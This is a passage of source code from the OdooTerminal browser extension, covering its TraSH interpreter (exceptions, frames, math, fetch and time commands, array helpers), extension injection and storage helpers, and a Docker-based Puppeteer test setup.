'{{arg_name}}' not expected at {{start}}:{{end}}", 18 | {arg_name, start, end}, 19 | ), 20 | ); 21 | this.name = 'NotExpectedCommandArgumentError'; 22 | this.arg_name = arg_name; 23 | this.start = start; 24 | this.end = end; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/undefined_value_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | vname: string; 10 | 11 | constructor(vname: string) { 12 | super( 13 | i18n.t('trash.exception.undefinedValueError', "Cannot read properties of undefined (reading '{{vname}}')", { 14 | vname, 15 | }), 16 | ); 17 | this.name = 'UndefinedValueError'; 18 | this.vname = vname; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/unknown_command_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | cmd_name: string; 10 | start: number; 11 | end: number; 12 | 13 | constructor(cmd_name: string, start: number, end: number) { 14 | super( 15 | i18n.t('trash.exception.unknownCommandError', "Unknown Command '{{cmd_name}}' at {{start}}:{{end}}", { 16 | cmd_name, 17 | start, 18 | end, 19 | }), 20 | ); 21 | this.name = 'UnknownCommandError'; 22 | this.cmd_name = cmd_name; 23 | this.start = start; 24 | this.end = end; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/unknown_name_error.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | vname: string; 10 | start: number; 11 | end: number; 12 | 13 | constructor(vname: string, start: number, end: number) { 14 | super( 15 | i18n.t('trash.exception.unknownNameError', "Unknown name '{{vname}}' at {{start}}:{{end}}", {vname, start, end}), 16 | ); 17 | this.name = 'UnknownNameError'; 18 | this.vname = vname; 19 | this.start = start; 20 | this.end = end; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/trash/exceptions/unknown_store_value.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | 8 | export default class extends Error { 9 | vname: string; 10 | 11 | constructor(vname: string) { 12 | super( 13 | i18n.t('trash.exception.unknownStoreValue', "Unknown store value '{{vname}}'", {vname}), 14 | ); 15 | this.name = 'UnknownStoreValue'; 16 | this.vname = vname; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/trash/frame.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import UnknownStoreValue from './exceptions/unknown_store_value'; 6 | 7 | export default class Frame { 8 | cmd: string | void; 9 | store: {[string]: mixed}; 10 | args: Array; 11 | values: Array; 12 | prevFrame: Frame | void; 13 | lastFlowCheck: mixed | void; 14 | 15 | constructor(cmd_name: string | void, prev_frame: Frame | void) { 16 | this.cmd = cmd_name; 17 | this.store = {}; 18 | this.args = []; 19 | this.values = []; 20 | this.prevFrame = prev_frame; 21 | this.lastFlowCheck = undefined; 22 | } 23 | 24 | getStoreValue(var_name: string): mixed { 25 | let cur_frame: Frame | void = this; 26 | while (typeof cur_frame !== 'undefined') { 27 | if (Object.hasOwn(cur_frame.store, var_name)) { 28 | return cur_frame.store[var_name]; 29 | } 30 | cur_frame = cur_frame.prevFrame; 31 | } 32 | throw new UnknownStoreValue(var_name); 33 | } 34 | 35 | setStoreValue(var_name: string, value: mixed) { 36 | let cur_frame: Frame | void = this; 37 | let val_found = false; 38 | while (typeof cur_frame !== 'undefined') { 39 | if (Object.hasOwn(cur_frame.store, var_name)) { 40 | cur_frame.store[var_name] = value; 41 | val_found = true; 42 | break; 43 | } 44 | cur_frame = cur_frame.prevFrame; 45 | } 46 | if (!val_found) { 47 | this.store[var_name] = value; 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/js/page/trash/function.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import type {ArgDef, ParseInfo} from './interpreter'; 6 | import type {default as VMachine, EvalOptions} from './vmachine'; 7 | import type Frame from './frame'; 8 | 9 | export const FUNCTION_TYPE: {+[string]: number} = { 10 | Native: 1, 11 | Internal: 2, 12 | Command: 3, 13 | }; 14 | 15 | export default class FunctionTrash { 16 | args: $ReadOnlyArray; 17 | code: ParseInfo; 18 | 19 | constructor(args: $ReadOnlyArray, code: ParseInfo) { 20 | this.args = args; 21 | this.code = code; 22 | } 23 | 24 | toString(): string { 25 | return `[FunctionTrash]`; 26 | } 27 | 28 | async exec(vmachine: VMachine, kwargs: {[string]: mixed}, frame: Frame, opts: EvalOptions): Promise { 29 | frame.store = {...kwargs}; 30 | return await vmachine.execute(this.code, opts, frame); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/trash/instruction.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default class { 6 | type: number; 7 | inputTokenIndex: number; 8 | level: number; 9 | meta: number; 10 | 11 | constructor(type: number, input_token_index: number, level: number, meta: number = -1) { 12 | this.type = type; 13 | this.inputTokenIndex = input_token_index; 14 | this.level = level; 15 | this.meta = meta; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/math/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | import funcFloor from './floor'; 5 | import funcFixed from './fixed'; 6 | import funcRand from './rand'; 7 | import funcAbs from './abs'; 8 | import type VMachine from '@trash/vmachine'; 9 | 10 | export default function (vm: VMachine) { 11 | vm.registerCommand('floor', funcFloor()); 12 | vm.registerCommand('fixed', funcFixed()); 13 | vm.registerCommand('rand', funcRand()); 14 | vm.registerCommand('abs', funcAbs()); 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/math/abs.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function funcAbs(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 13 | return Math.abs(kwargs.num); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('funcAbs.definition', 'Absolute value of a number'), 19 | callback: funcAbs, 20 | type: FUNCTION_TYPE.Internal, 21 | detail: i18n.t('funcAbs.detail', 'Returns the absolute value of a number.'), 22 | args: [ 23 | [ARG.Number, ['n', 'num'], true, i18n.t('funcAbs.args.num', 'The number')], 24 | ], 25 | example: "-n 12.3", 26 | }; 27 | } 28 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/math/fixed.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function funcFixed(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 13 | return parseInt(kwargs.num.toFixed(kwargs.decimals), 10); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('funcFixed.definition', 'Rounds a number UP to the nearest integer'), 19 | callback: funcFixed, 20 | type: FUNCTION_TYPE.Internal, 21 | detail: i18n.t('funcFixed.detail', 'Rounds a number UP to the nearest integer'), 22 | args: [ 23 | [ARG.Number, ['n', 'num'], true, i18n.t('funcFixed.args.num', 'The number')], 24 | [ARG.Number, ['d', 'decimals'], false, i18n.t('funcFixed.args.num', 'The number of decimals')], 25 | ], 26 | example: "-n 12.3", 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/math/floor.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function funcFloor(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 13 | return Math.floor(kwargs.num); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('funcFloor.definition', 'Rounds a number DOWN to the nearest integer'), 19 | callback: funcFloor, 20 | type: FUNCTION_TYPE.Internal, 21 | detail: i18n.t('funcFloor.detail', 'Rounds a number DOWN to the nearest integer'), 22 | args: [ 23 | [ARG.Number, ['n', 'num'], true, i18n.t('funcFloor.args.num', 'The number')], 24 | ], 25 | example: "-n 12.3", 26 | }; 27 | } 28 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/math/rand.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function funcRand(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 13 | return parseInt(Math.floor(Math.random() * (kwargs.max - kwargs.min + 1) + kwargs.min), 10); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('funcRand.definition', 'Generate random integers'), 19 | callback: funcRand, 20 | type: FUNCTION_TYPE.Internal, 21 | detail: i18n.t('funcRand.detail', 'Return random integers'), 22 | args: [ 23 | [ARG.Number, ['mi', 'min'], true, i18n.t('funcRand.args.min', 'Min. value')], 24 | [ARG.Number, ['ma', 'max'], true, i18n.t('funcRand.args.max', 'Max. value')], 25 | ], 26 | example: "-n 12.3", 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/net/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | import funcFetch from './fetch'; 5 | import type VMachine from '@trash/vmachine'; 6 | 7 | export default function (vm: VMachine) { 8 | vm.registerCommand('fetch', funcFetch()); 9 | } 10 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/net/fetch.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | async function funcFetch(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise { 13 | if (typeof kwargs.timeout !== 'undefined') { 14 | const prom = fetch( 15 | kwargs.url, 16 | // $FlowFixMe 17 | Object.assign({signal: AbortSignal.timeout(kwargs.timeout)}, kwargs.options), 18 | ); 19 | let res; 20 | try { 21 | res = await prom; 22 | } catch (err) { 23 | // FIXME: This is necessary because TraSH does not handle exceptions. 24 | // If it is null it is an unhandled exception failure. 25 | if (err?.name === 'TimeoutError') { 26 | return null; 27 | } 28 | throw err; 29 | } 30 | return res; 31 | } 32 | return await fetch( 33 | kwargs.url, 34 | kwargs.options, 35 | ); 36 | } 37 | 38 | export default function (): Partial { 39 | return { 40 | definition: i18n.t('funcFetch.definition', 'HTTP requests'), 41 | callback: funcFetch, 42 | type: FUNCTION_TYPE.Internal, 43 | detail: i18n.t('funcFetch.detail', 'Interface for making HTTP requests and processing the responses.'), 44 | args: [ 45 | [ARG.String, ['u', 'url'], true, i18n.t('funcFetch.args.url', 'The URL')], 46 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('funcFetch.args.url', 'The fetch options')], 47 | [ARG.Number, ['t', 'timeout'], false, i18n.t('funcFetch.args.timeout', 'The timeout')], 48 | ], 49 | example: "-u /icon/ -o {method:'HEAD'}", 50 | }; 51 | } 52 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/time/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | import funcSleep from './sleep'; 5 | import funcPNow from './pnow'; 6 | import type VMachine from '@trash/vmachine'; 7 | 8 | export default function (vm: VMachine) { 9 | vm.registerCommand('sleep', funcSleep()); 10 | vm.registerCommand('pnow', funcPNow()); 11 | } 12 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/time/pnow.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {FUNCTION_TYPE} from '@trash/function'; 8 | import type {CMDDef} from '@trash/interpreter'; 9 | 10 | async function funcPNow(): Promise { 11 | return performance.now(); 12 | } 13 | 14 | export default function (): Partial { 15 | return { 16 | definition: i18n.t('funcPNow.definition', 'High resolution timestamp in milliseconds'), 17 | callback: funcPNow, 18 | type: FUNCTION_TYPE.Internal, 19 | detail: i18n.t('funcPNow.detail', 'High resolution timestamp in milliseconds.'), 20 | }; 21 | } 22 | -------------------------------------------------------------------------------- /src/js/page/trash/libs/time/sleep.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import {FUNCTION_TYPE} from '@trash/function'; 9 | import asyncSleep from '@terminal/utils/async_sleep'; 10 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 11 | import type VMachine from '@trash/vmachine'; 12 | 13 | async function funcSleep(vmachine: VMachine, kwargs: CMDCallbackArgs): Promise<> { 14 | return await asyncSleep(kwargs.time); 15 | } 16 | 17 | export default function (): Partial { 18 | return { 19 | definition: i18n.t('cmdSleep.definition', 'Sleep'), 20 | callback: funcSleep, 21 | type: FUNCTION_TYPE.Internal, 22 | detail: i18n.t('cmdSleep.detail', 'Sleep (time in ms)'), 23 | args: [ 24 | [ARG.Number, ['t', 'time'], false, i18n.t('cmdSleep.args.time', 'The time to sleep (in ms)')], 25 | ], 26 | example: '-t 200', 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/trash/tl/array.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | 3 | export default ` 4 | function arr_clone(arr: List | Any) { 5 | $res = [] 6 | $len = $arr['length'] 7 | for ($i = 0; $i < $len; $i += 1) { 8 | $res[$i] = $arr[$i] 9 | } 10 | return $res 11 | } 12 | 13 | function arr_append(arr: List | Any, item) { 14 | $arr[$arr['length']] = $item 15 | } 16 | 17 | function arr_prepend(arr: List | Any, item) { 18 | for ($i = $arr['length']; $i >= 1; $i += 1) { 19 | $arr[$i] = $arr[$i - 1] 20 | } 21 | $arr[0] = $item 22 | } 23 | 24 | function arr_reduce(arr: List | Any, initial, reducer) { 25 | $res = $initial 26 | $len = $arr['length'] 27 | for ($i = 0; $i < $len; $i += 1) { 28 | $res = ($$reducer $res $arr[$i]) 29 | } 30 | return $res 31 | } 32 | 33 | function arr_map(arr: List | Any, mapper) { 34 | $res = [] 35 | $len = $arr['length'] 36 | for ($i = 0; $i < $len; $i += 1) { 37 | arr_append $res ($$mapper $arr[$i]) 38 | } 39 | return $res 40 | } 41 | 42 | function arr_filter(arr: List | Any, filter) { 43 | $res = [] 44 | $len = $arr['length'] 45 | for ($i = 0; $i < $len; $i += 1) { 46 | if (($$filter $arr[$i])) { 47 | arr_append $res $arr[$i] 48 | } 49 | } 50 | return $res 51 | } 52 | `; 53 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/count_by.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export type CountByCallback = (item: mixed) => mixed; 6 | 7 | export default function (data: string | $ReadOnlyArray, func: CountByCallback): { [mixed]: number } { 8 | const counters: { [mixed]: number } = {}; 9 | if (!data) { 10 | return counters; 11 | } 12 | const list = typeof data === 'string' ? data.split('') : data; 13 | list.forEach(item => { 14 | const cat = func(item); 15 | if (Object.hasOwn(counters, cat)) { 16 | ++counters[cat]; 17 | } else { 18 | counters[cat] = 1; 19 | } 20 | }); 21 | return counters; 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/difference.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (list_a: Array, list_b: Array): Array { 6 | return list_a.filter(x => !list_b.includes(x)); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/is_empty.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (data: mixed): boolean { 6 | if (data === null || data === undefined || data === '') { 7 | return true; 8 | } else if (data instanceof Array) { 9 | return data.length === 0; 10 | } else if (typeof data === 'object') { 11 | return Object.keys(data).length === 0; 12 | } 13 | 14 | return false; 15 | } 16 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/is_falsy.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (value: mixed): boolean { 6 | return value === null || typeof value === 'undefined' || value === false || value === ''; 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/is_number.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (value: mixed): boolean { 6 | return !(value === null || value === ' ' || isNaN(Number(value))); 7 | } 8 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/pluck.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default function (list: Array<{...}>, skey: string): Array { 6 | // $FlowFixMe 7 | return list.map(item => item[skey]); 8 | } 9 | -------------------------------------------------------------------------------- /src/js/page/trash/utils/unique_id.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | let _uniqueId = 0; 6 | export default function (prefix: string | void): string { 7 | const nid = ++_uniqueId; 8 | if (typeof prefix === 'string') { 9 | return `${prefix}${nid}`; 10 | } 11 | return new String(nid).toString(); 12 | } 13 | -------------------------------------------------------------------------------- /src/js/private/legacy/content_script.js: -------------------------------------------------------------------------------- 1 | // Copyright Alexandre Díaz 2 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 3 | 4 | const BrowserObj = typeof chrome === 'undefined' ? browser : chrome; 5 | import(BrowserObj.runtime.getURL('dist/pub/content_script.mjs')); 6 | -------------------------------------------------------------------------------- /src/js/shared/constants.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\ 4 | 5 | declare var chrome: Browser; 6 | declare var browser: Browser; 7 | 8 | export const isFirefox: boolean = typeof chrome === 'undefined'; 9 | export const ubrowser: Browser = isFirefox ? browser : chrome; 10 | -------------------------------------------------------------------------------- /src/js/shared/context.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export type Context = { 6 | isOdoo: boolean, 7 | isLoaded: boolean, 8 | isCompatible: boolean, 9 | isBackOffice: boolean, 10 | isSaas: boolean, 11 | isEnterprise: boolean, 12 | serverVersion?: { 13 | raw: string, 14 | major: number, 15 | minor: number, 16 | status: string, 17 | statusLevel: number, 18 | }, 19 | }; 20 | 21 | export const InstanceContext: Context = { 22 | isOdoo: false, 23 | isLoaded: false, 24 | isCompatible: false, 25 | isBackOffice: false, 26 | isSaas: false, 27 | isEnterprise: false, 28 | }; 29 | 30 | export function updateContext(...values: Array<{...}>) { 31 | Object.assign(InstanceContext, ...values); 32 | } 33 | -------------------------------------------------------------------------------- /src/js/shared/injector.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {ubrowser} from './constants.mjs'; 6 | 7 | export type InjectorResources = { 8 | js?: Array, 9 | css?: Array, 10 | }; 11 | export type InjectorCallback = (ev: Event) => void; 12 | 13 | /** 14 | * Helper function to inject an script. 15 | * @param {String} script - The URL 16 | * @param {Function} callback - The function to call when scripts loads 17 | */ 18 | export function injectPageScript(doc: Document, script: string, callback?: InjectorCallback) { 19 | const script_page = doc.createElement('script'); 20 | const [script_ext] = script.split('.').slice(-1); 21 | if (script_ext === 'mjs') { 22 | script_page.setAttribute('type', 'module'); 23 | } else { 24 | script_page.setAttribute('type', 'text/javascript'); 25 | } 26 | (doc.head || doc.documentElement)?.appendChild(script_page); 27 | if (callback) { 28 | script_page.onload = callback; 29 | } 30 | script_page.src = ubrowser.runtime.getURL(script); 31 | } 32 | 33 | /** 34 | * Helper function to inject an css. 35 | * @param {String} css - The URL 36 | */ 37 | export function injectPageCSS(doc: Document, css: string) { 38 | const link_page = doc.createElement('link'); 39 | link_page.setAttribute('rel', 'stylesheet'); 40 | link_page.setAttribute('type', 'text/css'); 41 | (doc.head || doc.documentElement)?.appendChild(link_page); 42 | link_page.href = ubrowser.runtime.getURL(css); 43 | } 44 | 45 | /** 46 | * Helper function to inject multiple file types. 47 | * @param {Object} files - Files by type to inject 48 | */ 49 | export function injector(doc: Document, files: InjectorResources) { 50 | files.css?.forEach(file => injectPageCSS(doc, file)); 51 | files.js?.forEach(file => injectPageScript(doc, file)); 52 | } 53 | -------------------------------------------------------------------------------- /src/js/shared/storage.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {ubrowser} from './constants.mjs'; 6 | 7 | // $FlowFixMe 8 | export function getStorageSync(keys: $ReadOnlyArray): Promise { 9 | return new Promise((resolve, reject) => { 10 | ubrowser.storage.sync.get(keys, items => { 11 | if (ubrowser.runtime?.lastError) { 12 | reject(ubrowser.runtime.lastError); 13 | } else { 14 | resolve(items); 15 | } 16 | }); 17 | }); 18 | } 19 | 20 | // $FlowFixMe 21 | export function setStorageSync(values: {...}): Promise { 22 | return new Promise((resolve, reject) => { 23 | ubrowser.storage.sync.set(values, items => { 24 | if (ubrowser.runtime?.lastError) { 25 | return reject(ubrowser.runtime.lastError); 26 | } 27 | resolve(items); 28 | }); 29 | }); 30 | } 31 | -------------------------------------------------------------------------------- /src/js/shared/tabs.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {ubrowser} from './constants.mjs'; 6 | 7 | export function sendInternalMessage(tab_id: number, message: mixed) { 8 | ubrowser.tabs.sendMessage(tab_id, {message: message}); 9 | } 10 | 11 | export function getActiveTab(): Promise { 12 | return new Promise((resolve, reject) => { 13 | ubrowser.tabs.query({active: true, currentWindow: true}, tabs => { 14 | if (ubrowser.runtime?.lastError || !tabs.length) { 15 | reject(ubrowser.runtime?.lastError); 16 | } else { 17 | resolve(tabs[0]); 18 | } 19 | }); 20 | }); 21 | } 22 | -------------------------------------------------------------------------------- /tests/docker/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | odoo: 3 | image: odoo:$ODOO_VERSION 4 | depends_on: 5 | - db 6 | ports: 7 | - '8069:8069' 8 | networks: 9 | - frontend 10 | - dbnet 11 | command: odoo -d postgres -r odoo -w odoo 12 | db: 13 | image: postgres:15 14 | networks: 15 | - dbnet 16 | environment: 17 | - POSTGRES_DB=postgres 18 | - POSTGRES_PASSWORD=odoo 19 | - POSTGRES_USER=odoo 20 | 21 | networks: 22 | frontend: 23 | driver: bridge 24 | driver_opts: 25 | com.docker.network.bridge.host_binding_ipv4: '127.0.0.1' 26 | dbnet: 27 | -------------------------------------------------------------------------------- /tests/extension.test.js: -------------------------------------------------------------------------------- 1 | const WAIT_MINS = 60000; 2 | 3 | function construct_url(relative_path = '') { 4 | return new URL(relative_path, 'http://localhost:8069'); 5 | } 6 | 7 | async function loginAs(login, password) { 8 | await page.goto(construct_url('/web/login')); 9 | await page.waitForSelector('input#login', {visible: true}); 10 | await page.type('input#login', login); 11 | await page.waitForSelector('input#password', {visible: true}); 12 | await page.type('input#password', password); 13 | await page.waitForSelector('button[type="submit"]:not(.oe_search_button)', {visible: true}); 14 | await page.click('button[type="submit"]:not(.oe_search_button)'); 15 | 16 | try { 17 | const elem_selector = await page.waitForSelector('p.alert-danger', {timeout: 5000}); 18 | if (elem_selector) { 19 | const text = await page.evaluate(() => { 20 | const par = document.querySelector('p.alert-danger'); 21 | return par.textContent; 22 | }); 23 | expect(text).toContain('Only employee can access this database'); 24 | } 25 | } catch (_err) { 26 | // do nothing 27 | } 28 | } 29 | 30 | describe('OdooTerminal', () => { 31 | beforeAll(async () => { 32 | await loginAs('admin', 'admin'); 33 | }, 30000); 34 | 35 | it('test open terminal', async () => { 36 | await page.waitForSelector('#terminal'); 37 | await page.evaluate(() => { 38 | document.querySelector('.o_terminal').dispatchEvent(new Event('toggle')); 39 | }); 40 | await page.waitForSelector('#terminal', {visible: true}); 41 | }); 42 | 43 | it('test all', async () => { 44 | await page.evaluate(() => { 45 | document.querySelector('.o_terminal').dispatchEvent(new Event('start_terminal_tests')); 46 | }); 47 | 48 | await page.waitForSelector('.o_terminal .terminal-test-ok,.o_terminal .terminal-test-fail', { 49 | timeout: WAIT_MINS * 30, 50 | }); 51 | const text = await page.evaluate(() => { 52 | const elm = document.querySelector('.o_terminal #terminal_screen'); 53 | return elm.textContent; 54 | }); 55 | console.debug('---- TERMINAL OUTPUT:', text); // eslint-disable-line no-console 56 | 57 | await page.waitForSelector('.o_terminal .terminal-test-ok'); 58 | }, WAIT_MINS * 35); 59 | }); 60 | -------------------------------------------------------------------------------- /tests/jest-global-setup.js: -------------------------------------------------------------------------------- 1 | import setupPuppeteer from 'jest-environment-puppeteer/setup'; 2 | import * as compose from 'docker-compose' 3 | 4 | const sleep = (waitTimeInMs) => new Promise(resolve => setTimeout(resolve, waitTimeInMs)); 5 | 6 | export default async function globalSetup(globalConfig) { 7 | await setupPuppeteer(globalConfig); 8 | await compose.upOne('db', { 9 | cwd: 'tests/docker/', 10 | commandOptions: [['--pull', 'missing']], 11 | }); 12 | await compose.run('odoo', ['--stop-after-init', '-d', 'postgres', '-r', 'odoo', '-w', 'odoo', '-i', 'base,bus,barcodes,mail'], { 13 | cwd: 'tests/docker/', 14 | commandOptions: [['--rm']], 15 | }); 16 | await compose.upOne('odoo', { 17 | cwd: 'tests/docker/', 18 | commandOptions: [['--pull', 'missing']], 19 | }); 20 | await sleep(10000); 21 | }; 22 | -------------------------------------------------------------------------------- /tests/jest-global-teardown.js: -------------------------------------------------------------------------------- 1 | import teardownPuppeteer from 'jest-environment-puppeteer/teardown'; 2 | import * as compose from 'docker-compose' 3 | 4 | export default async function globalTeardown(globalConfig) { 5 | await teardownPuppeteer(globalConfig); 6 | await compose.rm({ 7 | cwd: 'tests/docker/', 8 | commandOptions: [["--stop"], ["--volumes"]], 9 | }); 10 | }; 11 | -------------------------------------------------------------------------------- /themes/dark.json: -------------------------------------------------------------------------------- 1 | { 2 | "opacity": 93, 3 | "fontsize": "medium", 4 | "fontsize_ca": "small", 5 | "fontfamily": "'Lucida Console', Monaco, monospace", 6 